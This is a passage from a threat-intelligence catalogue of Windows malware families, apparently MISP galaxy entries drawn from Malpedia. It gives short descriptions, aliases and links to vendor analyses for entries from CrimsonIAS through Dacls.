https://blog.lumen.com/snowblind-the-invisible-hand-of-secret-blizzard/
https://securelist.com/transparent-tribe-part-2/98233/
https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html
https://www.seqrite.com/blog/transparent-tribe-apt-actively-lures-indian-army-amidst-increased-targeting-of-educational-institutions
https://brandefense.io/blog/apt-groups/mythic-leopard-apt-group/

CrimsonIAS

According to ThreatConnect, CrimsonIAS is a Delphi-written backdoor dating back to at least 2017. It enables operators to run command line tools, exfiltrate files, and upload files to the infected machine. CrimsonIAS is notable as it listens for incoming connections only; making it different from typical Windows backdoors that beacons out.

The tag is: *misp-galaxy:malpedia="CrimsonIAS"*

CrimsonIAS is also known as:

Table 3564. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crimsonias
https://threatconnect.com/blog/crimsonias-listening-for-an-3v1l-user/
https://threatconnect.com/blog/crimsonias-listening-for-an-3v1l-user-2/

Cring

Ransomware.

The tag is: *misp-galaxy:malpedia="Cring"*

Cring is also known as:

Table 3565. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cring
https://twitter.com/swisscom_csirt/status/1354052879158571008
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-050a
https://www.trendmicro.com/en_us/research/21/i/examining-the-cring-ransomware-techniques.html
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/
https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-Vulnerability-in-Fortigate-VPN-servers-is-exploited-in-Cring-ransomware-attacks-En.pdf
https://news.sophos.com/en-us/2021/09/21/cring-ransomware-group-exploits-ancient-coldfusion-server/?cmp=30728

CrossLock

The tag is: *misp-galaxy:malpedia="CrossLock"*

CrossLock is also known as:

Table 3566. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crosslock
https://twitter.com/1ZRR4H/status/1648232869809078273

CROSSWALK

According to FireEye, CROSSWALK is a skeletal, modular backdoor capable of system survey and adding modules in response to C&C replies.

The tag is: *misp-galaxy:malpedia="CROSSWALK"*

CROSSWALK is also known as:

- Motnug
- ProxIP
- TOMMYGUN

Table 3567. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crosswalk
https://securelist.com/apt-trends-report-q3-2020/99204/
https://twitter.com/MrDanPerez/status/1159459082534825986
https://www.youtube.com/watch?v=8x-pGlWpIYI
https://www.youtube.com/watch?v=FttiysUZmDw
https://thehackernews.com/2021/01/researchers-disclose-undocumented.html
https://content.fireeye.com/apt-41/rpt-apt41/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/apt41-indictments-china-espionage
https://www.welivesecurity.com/2021/08/24/sidewalk-may-be-as-dangerous-as-crosswalk/
https://www.carbonblack.com/2019/09/04/cb-tau-threat-intelligence-notification-state-sponsored-espionage-group-targeting-multiple-verticals-with-crosswalk/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/earth-baku-returns
https://www.carbonblack.com/2019/09/30/cb-threat-analysis-unit-technical-analysis-of-crosswalk/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/grayfly-china-sidewalk-malware
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

Croxloader

According to Trend Micro, this is a custom loader for win.cobalt_strike, used by Earth Longzhi (a subgroup of APT41).

The tag is: *misp-galaxy:malpedia="Croxloader"*

Croxloader is also known as:

Table 3568. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.croxloader
https://www.trendmicro.com/en_us/research/23/e/attack-on-security-titans-earth-longzhi-returns-with-new-tricks.html

CruLoader

The tag is: *misp-galaxy:malpedia="CruLoader"*

CruLoader is also known as:

Table 3569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cruloader
https://0x0d4y.blog/zero2automated-custom-sample/
https://malwarebookreports.com/cruloader-zero2auto/

Crutch

The tag is: *misp-galaxy:malpedia="Crutch"*

Crutch is also known as:

Table 3570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crutch
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://www.welivesecurity.com/wp-content/uploads/2021/04/ESET_Industry_Report_Government.pdf

Cryakl

The tag is: *misp-galaxy:malpedia="Cryakl"*

Cryakl is also known as:

- CryLock

Table 3571. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryakl
https://securelist.com/cis-ransomware/104452/
https://twitter.com/albertzsigovits/status/1217866089964679174
https://ke-la.com/the-ideal-ransomware-victim-what-attackers-are-looking-for/
https://www.telekom.com/en/blog/group/article/lockdata-auction-631300
https://bartblaze.blogspot.com/2016/02/vipasana-ransomware-new-ransom-on-block.html
https://blog.checkpoint.com/2015/11/04/offline-ransomware-encrypts-your-data-without-cc-communication/
https://securelist.com/the-return-of-fantomas-or-how-we-deciphered-cryakl/86511/
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://hackmag.com/security/ransomware-russian-style/
https://securelist.ru/shifrovalshhik-cryakl-ili-fantomas-razbushevalsya/24070/
https://twitter.com/bartblaze/status/1305197264332369920
https://unit42.paloaltonetworks.com/trigona-ransomware-update/
https://www.sophos.com/en-us/threat-center/threat-analyses/viruses-and-spyware/Troj}Cryakl-B/detailed-analysis.aspx
https://twitter.com/demonslay335/status/971164798376468481

CryLocker

The tag is: *misp-galaxy:malpedia="CryLocker"*

CryLocker is also known as:

Table 3572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crylocker

CrypMic

The tag is: *misp-galaxy:malpedia="CrypMic"*

CrypMic is also known as:

Table 3573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypmic

https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/
https://blog.trendmicro.com/trendlabs-security-intelligence/crypmic-ransomware-wants-to-follow-cryptxxx/

Crypt0l0cker

The tag is: *misp-galaxy:malpedia="Crypt0l0cker"*

Crypt0l0cker is also known as:

Table 3574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypt0l0cker
http://blog.talosintelligence.com/2017/08/first-look-crypt0l0cker.html

CryptBot

A typical infostealer, capable of obtaining credentials for browsers, crypto currency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the c2.

The tag is: *misp-galaxy:malpedia="CryptBot"*

CryptBot is also known as:

Table 3575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptbot
https://regmedia.co.uk/2023/04/28/handout_google_cryptbot_complaint.pdf
https://asec.ahnlab.com/en/31802/
https://asec.ahnlab.com/en/24423/
https://www.gdatasoftware.com/blog/2020/02/35802-bitbucket-abused-as-malware-slinger
https://www.mandiant.com/resources/russian-targeting-gov-business
https://cloud.google.com/blog/topics/threat-intelligence/peaklight-decoding-stealthy-memory-only-malware/
https://research.openanalysis.net/cryptbot/botnet/yara/config/2024/12/06/cryptbot2.html#Version-3.2-(Timeline-unknown)
https://any.run/cybersecurity-blog/cryptbot-infostealer-malware-analysis/
https://tehtris.com/en/blog/cryptbot-downloader-a-deep-cryptanalysis/
https://research.openanalysis.net/cryptbot/botnet/yara/config/2023/03/16/cryptbot.html

https://www.bleepingcomputer.com/news/security/malicious-kmspico-installers-steal-your-cryptocurrency-wallets/
https://blogs.blackberry.com/en/2022/03/threat-thursday-cryptbot-infostealer
https://fr3d.hk/blog/cryptbot-too-good-to-be-true
https://www.bleepingcomputer.com/news/security/revamped-cryptbot-malware-spread-by-pirated-software-sites/
https://www.patreon.com/posts/live-stream-vod-117643974
https://blog.google/technology/safety-security/continuing-our-work-to-hold-cybercriminal-ecosystems-accountable/
https://redcanary.com/wp-content/uploads/2021/12/KMSPico-V5.pdf
https://www.intrinsec.com/wp-content/uploads/2024/12/TLP-CLEAR-CryptBot-Hunting-for-intial-access-vectors.pdf
https://asec.ahnlab.com/en/26052/
https://asec.ahnlab.com/en/35981/
https://intezer.com/blog/research/cryptbot-yet-another-silly-stealer-yass/
https://www.mandiant.com/resources/blog/russian-targeting-gov-business
https://experience.mandiant.com/trending-evil-2/p/1
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://asec.ahnlab.com/en/31683/

CrypticConvo

CrypticConvo is a dropper trojan which appears to be embedded in an automatic generator framework to deliver the FakeM trojan. According to PaloaltoNetworks CrypticConvo and several additional trojans are believed to be included in a meta framework used by the "Scarlet Mimic" threat actor in order to quickly evade AV systems.

The tag is: *misp-galaxy:malpedia="CrypticConvo"*

CrypticConvo is also known as:

Table 3576. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptic_convo
https://unit42.paloaltonetworks.com/scarlet-mimic-years-long-espionage-targets-minority-activists/

CryptNET

According to OALabs, this ransomware has the following features: * Files are encrypted with AES CBC using a generated 256 bit key and IV. * The generated AES keys are encrypted using a hard coded RSA key and appended to the encrypted files.

The tag is: *misp-galaxy:malpedia="CryptNET"*

CryptNET is also known as:

Table 3577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptnet
https://blog.cyber5w.com/cryptnet-ransomware-analysis
https://research.openanalysis.net/dotnet/cryptnet/ransomware/2023/04/20/cryptnet.html

CryptoClippy

The tag is: *misp-galaxy:malpedia="CryptoClippy"*

CryptoClippy is also known as:

Table 3578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoclippy
https://labs.k7computing.com/index.php/cryptoclip-hijacker/
https://intezer.com/blog/research/cryptoclippy-evolves-to-pilfer-more-financial-data/

CryptoDarkRubix

The tag is: *misp-galaxy:malpedia="CryptoDarkRubix"*

CryptoDarkRubix is also known as:

- Ranet

Table 3579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptodarkrubix
https://id-ransomware.blogspot.com/2020/03/cryptodarkrubix-ransomware.html

CryptoJoker

CryptoJoker is an open source ransomware written in C#. CryptoJoker uses a combination of a "custom XOR" encryption and RSA. A private public/private pair key is generated for every computer.

The tag is: *misp-galaxy:malpedia="CryptoJoker"*

CryptoJoker is also known as:

- PlutoCrypt

Table 3580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptojoker
https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/plutocrypt-a-cryptojoker-ransomware-variant

CryptoLocker

CryptoLocker is a new sophisticated malware that was launched in the late 2013. It is designed to attack Windows operating system by encrypting all the files from the system using a RSA-2048 public key. To decrypt the mentioned files, the user has to pay a ransom (usually 300 USD/EUR) or 2 BitCoins.

The tag is: *misp-galaxy:malpedia="CryptoLocker"*

CryptoLocker is also known as:

Table 3581. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptolocker
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
http://www.secureworks.com/research/threat-profiles/gold-evergreen
https://www.secureworks.com/research/cryptolocker-ransomware
https://sites.temple.edu/care/ci-rw-attacks/
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://www.secureworks.com/research/threat-profiles/gold-evergreen
https://docs.microsoft.com/en-us/security/compass/human-operated-ransomware

CryptoLuck

The tag is: *misp-galaxy:malpedia="CryptoLuck"*

CryptoLuck is also known as:

Table 3582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoluck
http://www.bleepingcomputer.com/news/security/cryptoluck-ransomware-being-malvertised-via-rig-e-exploit-kits/

CryptoMix

A variant of CryptoMix is win.clop.

The tag is: *misp-galaxy:malpedia="CryptoMix"*

CryptoMix is also known as:

- Azer
- CryptFile2

Table 3583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptomix
https://www.cert.pl/en/news/single/technical-analysis-of-cryptomixcryptfile2-ransomware/
https://www.bleepingcomputer.com/news/security/work-cryptomix-ransomware-variant-released/
https://www.bleepingcomputer.com/news/security/new-azer-cryptomix-ransomware-variant-released/
https://labs.sentinelone.com/breaking-ta505s-crypter-with-an-smt-solver/

CryptoPatronum

CryptoPatronum is a ransomware that encrypts user data through AES-256 (CBC) and it asks for BTC / ETH in order to get back the original files. In the ransom note there is not a title but only a reference to crsss.exe: its original file name. Once the files are encrypted, CryptoPatronum adds a .enc extension.

The tag is: *misp-galaxy:malpedia="CryptoPatronum"*

CryptoPatronum is also known as:

Table 3584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptopatronum
https://id-ransomware.blogspot.com/2020/01/cryptopatronum-ransomware.html

Cryptorium

The tag is: *misp-galaxy:malpedia="Cryptorium"*

Cryptorium is also known as:

Table 3585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptorium
https://twitter.com/struppigel/status/810770490491043840

CryptoShield

The tag is: *misp-galaxy:malpedia="CryptoShield"*

CryptoShield is also known as:

Table 3586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshield
https://www.bleepingcomputer.com/news/security/revenge-ransomware-a-cryptomix-variant-being-distributed-by-rig-exploit-kit/
http://www.broadanalysis.com/2017/03/14/rig-exploit-kit-via-the-eitest-delivers-cryptoshieldrevenge-ransomware/

CryptoShuffler

The tag is: *misp-galaxy:malpedia="CryptoShuffler"*

CryptoShuffler is also known as:

Table 3587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoshuffler
https://www.bleepingcomputer.com/news/security/cryptoshuffler-stole-150-000-by-replacing-bitcoin-wallet-ids-in-pc-clipboards/

CRYPTOSLAY

The tag is: *misp-galaxy:malpedia="CRYPTOSLAY"*

CRYPTOSLAY is also known as:

Table 3588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptoslay
https://cloud.google.com/blog/topics/threat-intelligence/unc1860-iran-middle-eastern-networks

Cryptowall

CryptoWall is a ransomware, is usually spread by spam and phishing emails, malicious ads, hacked websites, or other malware and uses a Trojan horse to deliver the malicious payload.

The tag is: *misp-galaxy:malpedia="Cryptowall"*

Cryptowall is also known as:

Table 3589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowall
https://ryancor.medium.com/genetic-analysis-of-cryptowall-ransomware-843f86055c7f
https://sites.temple.edu/care/ci-rw-attacks/
https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf

CryptoWire

The tag is: *misp-galaxy:malpedia="CryptoWire"*

CryptoWire is also known as:

Table 3590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptowire
https://www.bleepingcomputer.com/news/security/-proof-of-concept-cryptowire-ransomware-spawns-lomix-and-ultralocker-families/

CryptoFortress

The tag is: *misp-galaxy:malpedia="CryptoFortress"*

CryptoFortress is also known as:

Table 3591. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_fortress
http://malware.dontneedcoffee.com/2015/03/cryptofortress-teeraca-aka.html
https://www.gdatasoftware.com/blog/2019/06/31666-ransomware-identification-for-the-judicious-analyst
https://www.welivesecurity.com/2015/03/09/cryptofortress-mimics-torrentlocker-different-ransomware/

CryptoRansomeware

The tag is: *misp-galaxy:malpedia="CryptoRansomeware"*

CryptoRansomeware is also known as:

Table 3592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crypto_ransomeware
https://twitter.com/JaromirHorejsi/status/818369717371027456

CryptXXXX

The tag is: *misp-galaxy:malpedia="CryptXXXX"*

CryptXXXX is also known as:

Table 3593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cryptxxxx
https://www.trellix.com/blogs/research/phobos-stealthy-ransomware-that-operated-under-the-radar-until-now/
https://www.cert.pl/news/single/cryptxxx-crypmic-ransomware-dystrybuowany-ramach-exploit-kitow/
https://www.sentinelone.com/blog/sophisticated-new-packer-identified-in-cryptxxx-ransomware-sample/

Crystal Rans0m

The tag is: *misp-galaxy:malpedia="Crystal Rans0m"*

Crystal Rans0m is also known as:

- CrystalRansom

Table 3594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crystal_ransom
https://outpost24.com/blog/crystal-ransom-hybrid-ransomware/

Crytox

Ransomware.

The tag is: *misp-galaxy:malpedia="Crytox"*

Crytox is also known as:

Table 3595. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.crytox
https://www.zscaler.com/blogs/security-research/technical-analysis-crytox-ransomware
https://labs.k7computing.com/index.php/encrypted-chaos-analysis-of-crytox-ransomware/

CsExt

The tag is: *misp-galaxy:malpedia="CsExt"*

CsExt is also known as:

Table 3596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.csext
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

csharp-streamer RAT

The tag is: *misp-galaxy:malpedia="csharp-streamer RAT"*

csharp-streamer RAT is also known as:

Table 3597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.csharpstreamer
https://blog.talosintelligence.com/warmcookie-analysis/
https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/
https://cyber.wtf/2023/12/06/the-csharp-streamer-rat/

https://research.hisolutions.com/2024/06/how-to-detect-the-modular-rat-csharp-streamer/

CTB Locker

The tag is: *misp-galaxy:malpedia="CTB Locker"*

CTB Locker is also known as:

Table 3598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ctb_locker
https://samvartaka.github.io/malware/2015/11/20/ctb-locker
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.mcafee.com/blogs/enterprise/mcafee-enterprise-atr/how-groove-gang-is-shaking-up-the-ransomware-as-a-service-market-to-empower-affiliates/

Cuba

Ransomware.

The tag is: *misp-galaxy:malpedia="Cuba"*

Cuba is also known as:

- COLDDRAW

Table 3599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cuba
https://www.bleepingcomputer.com/news/security/microsoft-exchange-servers-hacked-to-deploy-cuba-ransomware/
https://www.mandiant.com/resources/unc2596-cuba-ransomware
https://www.fortinet.com/blog/threat-research/ransomware-roundup-gwisin-kriptor-cuba-and-more
https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf
https://www.elastic.co/security-labs/cuba-ransomware-campaign-analysis
https://www.ic3.gov/Media/News/2021/211203-2.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/mcafee-atr-threat-report-a-quick-primer-on-cuba-ransomware
https://www.cisa.gov/uscert/sites/default/files/publications/aa22-335a-stopransomware-cuba-ransomware.pdf

https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group+-on+a+roll.pdf[https://shared-public-reports.s3-eu-west-1.amazonaws.com/Cuba+Ransomware+Group-+on+a+roll.pdf]
https://securelist.com/cuba-ransomware/110533/
https://www.it-connect.fr/le-ransomware-cuba-sen-prend-aux-serveurs-exchange/
https://blog.group-ib.com/hancitor-cuba-ransomware
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://www.quorumcyber.com/threat-actors/scattered-spider-threat-actor-profile/
https://web.archive.org/web/20241115025929/https://www.ic3.gov/CSA/2021/211203-2.pdf
https://www.elastic.co/security-labs/cuba-ransomware-malware-analysis
https://id-ransomware.blogspot.com/2019/12/cuba-ransomware.html
https://unit42.paloaltonetworks.com/cuba-ransomware-tropical-scorpius/
https://lab52.io/blog/cuba-ransomware-analysis/
https://www.aon.com/cyber-solutions/aon_cyber_labs/yours-truly-signed-av-driver-weaponizing-an-antivirus-driver/
https://www.trendmicro.com/en_us/research/22/f/cuba-ransomware-group-s-new-variant-found-using-optimized-infect.html
https://www.guidepointsecurity.com/blog/using-hindsight-to-close-a-cuba-cold-case/

Cuegoe

The tag is: *misp-galaxy:malpedia="Cuegoe"*

Cuegoe is also known as:

Table 3600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cuegoe
https://www.eff.org/deeplinks/2014/01/vietnamese-malware-gets-personal
http://blog.malwaremustdie.org/2014/08/another-country-sponsored-malware.html
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Cueisfry

The tag is: *misp-galaxy:malpedia="Cueisfry"*

Cueisfry is also known as:

Table 3601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cueisfry
https://www.secureworks.com/blog/apt-campaign-leverages-the-cueisfry-trojan-and-microsoft-word-vulnerability-cve-2014-1761

Cur1Downloader

Potential Lazarus sample.

The tag is: *misp-galaxy:malpedia="Cur1Downloader"*

Cur1Downloader is also known as:

Table 3602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cur1_downloader
https://mp.weixin.qq.com/s/nnLqUBPX8xZ3hCr5u-iSjQ
https://securelist.com/bluenoroff-methods-bypass-motw/108383/
https://blogs.jpcert.or.jp/ja/2023/05/dangerouspassword.html
https://twitter.com/RedDrip7/status/1595365451495706624

Curator

Profero describes this as a ransomware family using CryptoPP as library to enable file encryption with the Salsa20 algorithm and protecting the encryption keys with RSA2048.

The tag is: *misp-galaxy:malpedia="Curator"*

Curator is also known as:

- Ever101
- SunnyDay

Table 3603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.curator
https://seguranca-informatica.pt/analysis-of-the-sunnyday-ransomware/
https://www.sentinelone.com/labs/custom-branded-ransomware-the-vice-society-group-and-the-threat-of-outsourced-development/
https://shared-public-reports.s3.eu-west-1.amazonaws.com/Secrets_behind_the_mysterious_ever101_ransomware.pdf

CurlBack RAT

The tag is: *misp-galaxy:malpedia="CurlBack RAT"*

CurlBack RAT is also known as:

Table 3604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.curlback
https://www.seqrite.com/blog/goodbye-hta-hello-msi-new-ttps-and-clusters-of-an-apt-driven-by-multi-platform-attacks/

Cursed Murderer

Ransomware.

The tag is: *misp-galaxy:malpedia="Cursed Murderer"*

Cursed Murderer is also known as:

Table 3605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cursed_murderer
https://id-ransomware.blogspot.com/2020/01/thecursedmurderer-ransomware.html

CustomerLoader

CustomerLoader is a .Net-based loader that drops more than 40 different malware families. It appeared in June 2023 and is being distributed via phishing, YouTube videos and malicious websites.

The tag is: *misp-galaxy:malpedia="CustomerLoader"*

CustomerLoader is also known as:

Table 3606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.customerloader
https://inside.harfanglab.io/blog/articles/cyber-threat-intelligence/loader-galore-taskloader-at-the-start-of-a-pay-per-install-infection-chain/
https://blog.sekoia.io/customerloader-a-new-malware-distributing-a-wide-variety-of-payloads/#h-c2-servers

Cutlet

The tag is: *misp-galaxy:malpedia="Cutlet"*

Cutlet is also known as:

Table 3607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutlet
http://www.vkremez.com/2017/12/lets-learn-cutlet-atm-malware-internals.html
https://www.fintechsecurity.com.hk/slides/01.Dmitry-Annual-Group-IB-report-High-Tech-Crime-Trends.pdf
https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html
https://explore.group-ib.com/htct/hi-tech_crime_2018

Cutwail

The tag is: *misp-galaxy:malpedia="Cutwail"*

Cutwail is also known as:

Table 3608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cutwail
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_5_sajo-takeda-niwa_en.pdf
https://securityintelligence.com/dridex-campaign-propelled-by-cutwail-botnet-and-powershell/
https://www.secureworks.com/research/threat-profiles/gold-essex
https://github.com/pan-unit42/tweets/blob/master/2020-09-07-Dridex-IOCs.txt
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://darknetdiaries.com/episode/110/
https://web.archive.org/web/20160616170611/https://media.blackhat.com/bh-eu-10/presentations/Carrera_Silberman/BlackHat-EU-2010-Carrera-Silberman-State-of-Malware-slides.pdf
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://www.mimecast.com/blog/how-to-slam-a-door-on-the-cutwail-botnet-enforce-dmarc/
https://www.shadowserver.org/news/has-the-sun-set-on-the-necurs-botnet/
http://www.secureworks.com/research/threat-profiles/gold-essex

https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/evolution-of-malware-sandbox-evasion-tactics-a-retrospective-study/

CyberGate

According to Subex Secure, CyberGate is a Remote Access Trojan (RAT) that allows an attacker to gain unauthorized access to the victim's system. Attackers can remotely connect to the compromised system from anywhere around the world. The Malware author generally uses this program to steal private information like passwords, files, etc. It might also be used to install malicious software on the compromised systems.

The tag is: *misp-galaxy:malpedia="CyberGate"*

CyberGate is also known as:

- Rebhip

Table 3609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cybergate
https://sectrio.com/wp-content/uploads/2021/08/cybergate-threat-report.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://www.zscaler.com/blogs/security-research/cybergate-rat-and-redline-stealer-delivered-ongoing-autoit-malware-campaigns
https://www.subexsecure.com/pdf/malware-reports/2021-05/cybergate-threat-report.pdf
https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols
https://blog.cyber5w.com/cybergate-malware-analysis
https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
https://citizenlab.ca/2015/12/packrat-report/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf
https://blog.reversinglabs.com/blog/rats-in-the-library

CyberSplitter

The tag is: *misp-galaxy:malpedia="CyberSplitter"*

CyberSplitter is also known as:

Table 3610. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.cyber_splitter

CycBot

The tag is: *misp-galaxy:malpedia="CycBot"*

CycBot is also known as:

Table 3611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cycbot
https://www.welivesecurity.com/2011/07/14/cycbot-ready-to-ride/

Cyclops

According to HarfangLabs, Cyclops is a malware platform written in Go which dates back to December 2023, and that they believe has been deployed against targets in the Middle-East in 2024. Cyclops allows operators to execute arbitrary commands on the target's file system, as well as pivot inside the infected network. Notably, Cyclops is controlled through a HTTP REST API which is exposed to operators within an SSH tunnel.

The tag is: *misp-galaxy:malpedia="Cyclops"*

Cyclops is also known as:

Table 3612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyclops
https://harfanglab.io/insidethelab/cyclops-replacement-bellaciao/

Cyrat

According to gdatasoftware, Cyrat ransomware uses Fernet to encrypt files. This is a symmetric encryption method meant for small data files that fit into RAM. While Fernet is not unusual itself, it is not common for ransomware and in this case even problematic.

The tag is: *misp-galaxy:malpedia="Cyrat"*

Cyrat is also known as:

Table 3613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cyrat
https://www.gdatasoftware.com/blog/cyrat-ransomware

https://id-ransomware.blogspot.com/2020/08/cyrat-ransomware.html

cysxl

The tag is: *misp-galaxy:malpedia="cysxl"*

cysxl is also known as:

Table 3614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.cysxl
https://www.enigmasoftware.com/bkdrcysxla-removal/

Dacls (Windows)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: *misp-galaxy:malpedia="Dacls (Windows)"*

Dacls (Windows) is also known as:

- MATA

Table 3615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.dacls
https://malwareandstuff.com/peb-where-magic-is-stored/
https://blogs.vmware.com/security/2022/11/threat-analysis-active-c2-discovery-using-protocol-emulation-part4-dacls-aka-mata.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/dark-river-you-can-t-see-them-but-they-re-there/
https://www.sygnia.co/mata-framework
https://blogs.vmware.com/security/2020/09/detecting-threats-in-real-time-with-active-c2-information.html
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2023/10/18092216/Updated-MATA-attacks-Eastern-Europe_full-report_ENG.pdf
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf

https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
